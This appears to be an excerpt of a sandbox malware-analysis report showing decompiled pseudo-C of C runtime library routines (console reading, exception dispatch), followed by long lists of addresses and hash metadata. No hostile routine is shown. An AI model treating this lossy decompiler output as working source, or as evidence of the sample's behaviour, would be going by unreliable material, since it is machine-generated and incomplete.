											__eflags = _t164 - _t235;
											if(__eflags != 0) {
												__eflags = _t164 - 0x6d;
												if(_t164 != 0x6d) {
													L38:
													E0041396B(_t164);
													goto L39;
												}
												_t236 = 0;
												goto L40;
											}
											 *((intOrPtr*)(E004139A1(__eflags))) = 9;
											 *(E0041398E(__eflags)) = _t235;
											goto L39;
										}
										_t217 = _a12;
										__eflags = _v32 - _t217;
										if(_v32 > _t217) {
											goto L54;
										}
										_t236 = _t235 + _v32;
										__eflags = _t236;
										L46:
										_t230 = _v20;
										_t169 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
										__eflags =  *((char*)(_t230 + _t169 + 0x28));
										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v36;
												_push(_t236 >> 1);
												_push(_v40);
												_push(_t200);
												if(_v36 == 0) {
													_t170 = E0041D69E();
												} else {
													_t170 = E0041D9A4();
												}
											} else {
												_t218 = _t217 >> 1;
												__eflags = _t217 >> 1;
												_t170 = E0041D84D(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
											}
											_t236 = _t170;
										}
										goto L40;
									}
									_t219 = _v20;
									_t172 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									__eflags =  *((char*)(_t219 + _t172 + 0x28));
									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
										goto L42;
									}
									_t174 = GetConsoleMode(_v28,  &_v44);
									__eflags = _t174;
									if(_t174 == 0) {
										goto L42;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L43;
									}
									_t111 =  &_v16; // 0xa
									_t178 = ReadConsoleW(_v28, _v24,  *_t111 >> 1,  &_v32, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										_t217 = _a12;
										_t236 = _t235 + _v32 * 2;
										goto L46;
									}
									_t164 = GetLastError();
									goto L38;
								} else {
									 *((intOrPtr*)(E004139A1(__eflags))) = 0xc;
									 *(E0041398E(__eflags)) = 8;
									L39:
									_t236 = _t235 | 0xffffffff;
									__eflags = _t236;
									L40:
									E0041E668(_t240);
									return _t236;
								}
							}
						}
						__eflags = _t228 == 1;
						if(_t228 == 1) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags != 0) {
								_t229 = _a8;
								_v16 = _t210;
								_v24 = _t229;
								_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
								goto L22;
							}
							goto L14;
						} else {
							_t229 = _a8;
							_v16 = _t210;
							_v24 = _t229;
							goto L22;
						}
					}
					L6:
					 *(E0041398E(__eflags)) =  *_t145 & 0x00000000;
					 *((intOrPtr*)(E004139A1(__eflags))) = 0x16;
					goto L60;
				} else {
					 *(E0041398E(_t246)) =  *_t197 & 0x00000000;
					_t139 = E004139A1(_t246);
					 *_t139 = 9;
					L61:
					return _t139 | 0xffffffff;
				}
			}

0x0041db3c
0x0041db40
0x0041db43
0x0041db5d
0x0041db5f
0x0041dec4
0x0041dec4
0x0041dec9
0x0041dec9
0x0041ded1
0x0041ded7
0x0041ded7
0x00000000
0x0041ded7
0x0041db65
0x0041db6b
0x00000000
0x00000000
0x0041db75
0x0041db7b
0x0041db7e
0x0041db81
0x0041db8b
0x0041db8e
0x0041db91
0x0041db95
0x0041db97
0x00000000
0x00000000
0x0041db9d
0x0041dba0
0x0041dba6
0x0041dbc0
0x0041dbc2
0x0041dec0
0x00000000
0x0041dec0
0x0041dbc8
0x0041dbcb
0x00000000
0x00000000
0x0041dbd1
0x0041dbd5
0x00000000
0x00000000
0x0041dbdb
0x0041dbde
0x0041dbe2
0x0041dbe9
0x0041dbeb
0x0041dbeb
0x0041dbee
0x0041dc43
0x0041dc45
0x0041dc0b
0x0041dc10
0x0041dc17
0x0041dc1d
0x00000000
0x0041dc47
0x0041dc49
0x0041dc4a
0x0041dc4c
0x0041dc4f
0x0041dc51
0x0041dc53
0x0041dc55
0x0041dc55
0x0041dc60
0x0041dc62
0x0041dc69
0x0041dc6e
0x0041dc71
0x0041dc74
0x0041dc76
0x0041dc9a
0x0041dca2
0x0041dca5
0x0041dcac
0x0041dcb3
0x0041dcb7
0x0041dcb9
0x0041dcbc
0x0041dcc3
0x0041dcc3
0x0041dcc6
0x0041dcc8
0x0041dccb
0x0041dcd0
0x0041dcd3
0x0041dcdc
0x0041dce0
0x0041dce3
0x0041dce5
0x0041dceb
0x0041dced
0x0041dcf6
0x0041dcf7
0x0041dcf9
0x0041dcfd
0x0041dcfe
0x0041dd02
0x0041dd05
0x0041dd0f
0x0041dd14
0x0041dd17
0x0041dd26
0x0041dd2a
0x0041dd2d
0x0041dd2f
0x0041dd31
0x0041dd33
0x0041dd38
0x0041dd3a
0x0041dd3e
0x0041dd3f
0x0041dd45
0x0041dd4f
0x0041dd50
0x0041dd53
0x0041dd58
0x0041dd5b
0x0041dd6a
0x0041dd6e
0x0041dd71
0x0041dd73
0x0041dd75
0x0041dd77
0x0041dd79
0x0041dd7f
0x0041dd7f
0x0041dd80
0x0041dd8f
0x0041dd92
0x0041dd93
0x0041dd93
0x0041dd77
0x0041dd73
0x0041dd5b
0x0041dd33
0x0041dd2f
0x0041dd17
0x0041dced
0x0041dce5
0x0041dd99
0x0041dd9f
0x0041dda1
0x0041de14
0x0041de14
0x0041de18
0x0041de28
0x0041de2e
0x0041de30
0x0041de8c
0x0041de8c
0x0041de94
0x0041de95
0x0041de97
0x0041deb0
0x0041deb3
0x0041ddf0
0x0041ddf1
0x00000000
0x0041ddf6
0x0041deb9
0x00000000
0x0041deb9
0x0041de9e
0x0041dea9
0x00000000
0x0041dea9
0x0041de32
0x0041de35
0x0041de38
0x00000000
0x00000000
0x0041de3a
0x0041de3a
0x0041de3d
0x0041de40
0x0041de43
0x0041de4a
0x0041de4f
0x0041de51
0x0041de55
0x0041de70
0x0041de74
0x0041de75
0x0041de78
0x0041de79
0x0041de85
0x0041de7b
0x0041de7b
0x0041de7b
0x0041de57
0x0041de57
0x0041de57
0x0041de62
0x0041de67
0x0041de6a
0x0041de6a
0x00000000
0x0041de4f
0x0041dda6
0x0041dda9
0x0041ddb0
0x0041ddb5
0x00000000
0x00000000
0x0041ddbe
0x0041ddc4
0x0041ddc6
0x00000000
0x00000000
0x0041ddc8
0x0041ddcc
0x00000000
0x00000000
0x0041ddd4
0x0041dde0
0x0041dde6
0x0041dde8
0x0041de0c
0x0041de0f
0x00000000
0x0041de0f
0x0041ddea
0x00000000
0x0041dc78
0x0041dc7d
0x0041dc88
0x0041ddf7
0x0041ddf7
0x0041ddf7
0x0041ddfa
0x0041ddfb
0x00000000
0x0041de03
0x0041dc76
0x0041dc45
0x0041dbf0
0x0041dbf3
0x0041dc07
0x0041dc09
0x0041dc2a
0x0041dc2d
0x0041dc30
0x0041dc33
0x00000000
0x0041dc33
0x00000000
0x0041dbf5
0x0041dbf5
0x0041dbf8
0x0041dbfb
0x00000000
0x0041dbfb
0x0041dbf3
0x0041dba8
0x0041dbad
0x0041dbb5
0x00000000
0x0041db45
0x0041db4a
0x0041db4d
0x0041db52
0x0041dedc
0x00000000
0x0041dedc

Strings

, xrefs: 0041DDD4, 0041DDD9

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 9983ef659ef28bb2c7742fc4bec09b411bf4c6f7b304ab43fc1bafd3bdf25fb9
Instruction ID: 98db0e54808668a7800457713538fc6ca2c8564ea94f2c29ee865dd8f437492d
Opcode Fuzzy Hash: 9983ef659ef28bb2c7742fc4bec09b411bf4c6f7b304ab43fc1bafd3bdf25fb9
Instruction Fuzzy Hash: 74C114F0E04305AFDF15DF99D880BEEBBB1AF59301F04045AE405AB382C7789982CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004124C2 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E004124C2(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E0041355D(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E00419FF9(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_t203 = E00412146(_t275, _t279, _t300, _t305, _t319, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E00412146(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E00410038(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E0040FF6B(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00412442(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E00419FF9(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E00412146(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E00412146(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E00412146(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E00412146(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E0040FF6B(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E00412442(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E004103A3(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E00412146(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E00412ED1(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E00412146(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E00412146(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E00412146(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E00412146(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E00412ED1(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E0041CABD(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E00412B65( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x44fb08) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E004103A3(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E00412B4D( &_v64);
											E004107FB( &_v64, 0x43b9c4);
											L63:
											 *(E00412146(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E00412146(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E0041015E(_t279, _t319, _t274);
											E00412DD1(_a8, _a16, _t305);
											_t235 = E00412F8E(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E00412D48(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x004124c2
0x004124c9
0x004124cb
0x004124d4
0x004124da
0x004124e2
0x004124e4
0x004124e7
0x004124ed
0x00412866
0x00412866
0x0041286b
0x0041286d
0x0041286f
0x00412872
0x00412873
0x00412876
0x0041287c
0x0041299b
0x00412882
0x00412884
0x0041288b
0x0041288e
0x00412891
0x00412897
0x00412899
0x0041289e
0x004128a1
0x004128a3
0x004128a9
0x004128ab
0x004128b1
0x004128c6
0x004128cb
0x004128ce
0x004128d0
0x00412997
0x00000000
0x00412998
0x004128d0
0x004128b1
0x004128a9
0x004128a1
0x004128d6
0x004128d9
0x004128dc
0x004128df
0x004128e2
0x004128e8
0x004128fa
0x004128ff
0x00412902
0x00412905
0x00412908
0x0041290b
0x0041290e
0x00412911
0x00000000
0x00000000
0x00412917
0x00412917
0x0041291a
0x0041291d
0x0041292c
0x0041292d
0x0041292d
0x0041292f
0x00412932
0x00000000
0x00000000
0x00412934
0x00412937
0x00000000
0x00000000
0x00412945
0x00412947
0x0041294a
0x0041294c
0x00412954
0x00412954
0x00412957
0x00412959
0x0041295b
0x00412977
0x0041297c
0x0041297f
0x0041297f
0x00000000
0x00412957
0x0041294e
0x00412952
0x00000000
0x00000000
0x00000000
0x00412982
0x00412985
0x00412986
0x00412989
0x0041298c
0x0041298f
0x00412992
0x00412992
0x00000000
0x0041291d
0x0041299c
0x004129a1
0x004129a2
0x004129a5
0x004129a8
0x004129a9
0x004129aa
0x004129ab
0x004129ae
0x004129b0
0x00412a28
0x00412a2a
0x00412a2a
0x004129b2
0x004129b2
0x004129b5
0x004129b8
0x00000000
0x004129ba
0x004129ba
0x004129bd
0x004129c0
0x004129c7
0x004129c7
0x004129ca
0x004129cc
0x004129ce
0x00412a00
0x00412a00
0x00412a03
0x00412a0a
0x00412a0a
0x00412a0d
0x00412a10
0x00412a17
0x00412a17
0x00412a1a
0x00412a21
0x00412a23
0x00412a23
0x00412a1c
0x00412a1c
0x00412a1f
0x00000000
0x00000000
0x00412a1f
0x00412a12
0x00412a12
0x00412a15
0x00000000
0x00000000
0x00412a15
0x00412a05
0x00412a05
0x00412a08
0x00000000
0x00000000
0x00412a08
0x00412a24
0x004129d0
0x004129d0
0x004129d0
0x004129d3
0x004129d3
0x004129d5
0x004129d7
0x00000000
0x00000000
0x004129d9
0x004129db
0x004129ef
0x004129ef
0x004129dd
0x004129dd
0x004129e0
0x004129e3
0x00000000
0x004129e5
0x004129e5
0x004129e8
0x004129eb
0x004129ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004129ed
0x004129e3
0x004129f8
0x004129f8
0x004129fa
0x00000000
0x004129fc
0x004129fc
0x004129fc
0x00000000
0x004129fa
0x004129f3
0x004129f5
0x004129f5
0x00000000
0x004129f5
0x004129c2
0x004129c2
0x004129c5
0x00000000
0x00000000
0x00000000
0x00000000
0x004129c5
0x004129c0
0x004129b8
0x00412a2b
0x00412a2f
0x00412a2f
0x004124fc
0x004124fc
0x00412505
0x00412602
0x00412602
0x00412605
0x00000000
0x00412534
0x00412534
0x00412539
0x00000000
0x0041253f
0x0041253f
0x00412547
0x00412800
0x00412804
0x0041254d
0x00412552
0x00412555
0x0041255a
0x00412561
0x00412566
0x00000000
0x0041259e
0x004125a6
0x0041260a
0x0041260a
0x0041260d
0x00412610
0x00412612
0x00412615
0x00412618
0x0041261e
0x004127cf
0x004127cf
0x004127d2
0x00000000
0x004127d4
0x004127d4
0x004127d7
0x00000000
0x004127dd
0x004127dd
0x004127e0
0x004127e3
0x004127e4
0x004127e5
0x004127e8
0x004127e9
0x004127ec
0x004127ed
0x004127f2
0x00000000
0x004127f2
0x004127d7
0x00412624
0x00412624
0x00412628
0x00000000
0x0041262e
0x0041262e
0x00412635
0x0041264d
0x0041264d
0x00412650
0x00412653
0x00412659
0x00412669
0x0041266e
0x00412671
0x00412674
0x00412677
0x0041267a
0x0041267d
0x00412680
0x00412686
0x00412686
0x00412689
0x0041268c
0x0041269b
0x0041269c
0x0041269c
0x0041269e
0x004126a1
0x004126a7
0x004126aa
0x004126b0
0x004126b2
0x004126b5
0x004126b8
0x004126c1
0x004126c4
0x004126c6
0x004126c6
0x004126c9
0x004126cc
0x004126cf
0x004126d2
0x004126d5
0x004126da
0x004126db
0x004126dc
0x004126dd
0x004126de
0x004126e1
0x004126e3
0x004126e5
0x00000000
0x004126e7
0x004126e7
0x004126e7
0x004126ea
0x004126ed
0x004126ef
0x004126f0
0x004126f5
0x004126f8
0x004126fa
0x00000000
0x00000000
0x004126fc
0x004126fd
0x00412700
0x00412702
0x00000000
0x00412704
0x00412704
0x00412707
0x0041270a
0x00000000
0x0041270a
0x00000000
0x00412702
0x0041271e
0x00412724
0x00412741
0x00412746
0x00412746
0x00412749
0x00412749
0x00000000
0x0041270d
0x0041270d
0x0041270e
0x00412711
0x00412714
0x00412717
0x00412717
0x00000000
0x0041271c
0x004126b8
0x004126aa
0x0041274c
0x0041274f
0x00412750
0x00412753
0x00412756
0x00412759
0x0041275c
0x0041275c
0x00412765
0x00412768
0x00412768
0x00412680
0x0041276b
0x0041276f
0x00412771
0x00412774
0x0041277a
0x0041277a
0x00412782
0x00412787
0x004127f5
0x004127f5
0x004127fa
0x004127fe
0x00000000
0x00000000
0x00000000
0x00000000
0x00412789
0x00412789
0x0041278d
0x0041279f
0x004127a2
0x004127a5
0x004127a7
0x004127be
0x004127c2
0x004127c8
0x004127c9
0x004127cb
0x00000000
0x004127cd
0x00000000
0x004127cd
0x004127a9
0x004127ae
0x004127b1
0x004127b6
0x004127b9
0x00000000
0x004127b9
0x0041278f
0x00412792
0x00412795
0x00412797
0x00000000
0x00412799
0x00412799
0x0041279d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041279d
0x00412797
0x0041278d
0x00412637
0x00412637
0x0041263e
0x00000000
0x00412640
0x00412640
0x00412647
0x00000000
0x00000000
0x00000000
0x00000000
0x00412647
0x0041263e
0x00412635
0x00412628
0x004125a8
0x004125b0
0x004125b3
0x004125b8
0x004125bc
0x004125bf
0x004125c5
0x004125c8
0x00000000
0x004125ca
0x004125ca
0x004125cd
0x004125cf
0x00412805
0x00412805
0x00000000
0x004125d5
0x004125dd
0x004125e8
0x00000000
0x00000000
0x004125f1
0x004125f4
0x004125f5
0x004125f8
0x004125fa
0x00000000
0x00412600
0x00000000
0x00412600
0x00000000
0x004125fa
0x004125d5
0x0041280a
0x0041280a
0x0041280c
0x0041280d
0x00412814
0x00412817
0x00412825
0x0041282a
0x0041282f
0x00412832
0x00412837
0x0041283a
0x0041283d
0x0041283f
0x00412841
0x00412841
0x00412846
0x00412852
0x00412858
0x0041285d
0x00412860
0x00412861
